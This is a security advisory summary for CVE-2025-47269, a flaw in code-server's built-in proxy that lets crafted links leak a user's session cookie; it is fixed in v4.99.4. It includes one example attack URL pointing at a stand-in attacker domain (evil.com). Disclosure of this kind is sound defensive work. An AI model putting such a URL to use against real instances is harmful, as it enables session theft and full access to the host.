Executive brief
code-server is a web-based IDE that allows users to edit code remotely through a browser. A vulnerability in its built-in proxy feature allows attackers to trick users into visiting specially crafted URLs that redirect to attacker-controlled servers, causing the user's session cookie to be sent to the attacker. An attacker with this cookie can fully impersonate the user and access the machine hosting code-server with the same privileges as the user running it.
Technical details
The vulnerability stems from improper validation of the proxy request port, allowing attackers to specify arbitrary domains (not just localhost ports) as proxy targets. The proxy implementation fails to validate that the proxied destination is a legitimate local service; instead, a malicious URL like https://<code-server>/proxy/test@evil.com/path gets proxied to test@evil.com/path. When the browser makes this request, it automatically includes the code-server session cookie in the HTTP headers, exposing it to the attacker. The attack requires user interaction (clicking a malicious link) but no prior authentication or special privileges. Exploitation grants full access to code-server with the privileges of the running user. The vulnerability is patched in code-server v4.99.4 and later.
Affected products
- Coder code-server < 4.99.4
Timeline
- 2025-05-09: disclosed: GHSA-p483-wpfp-42cj and CVE-2025-47269 published
- 2025-05-09: patched: Fixed in v4.99.4 and later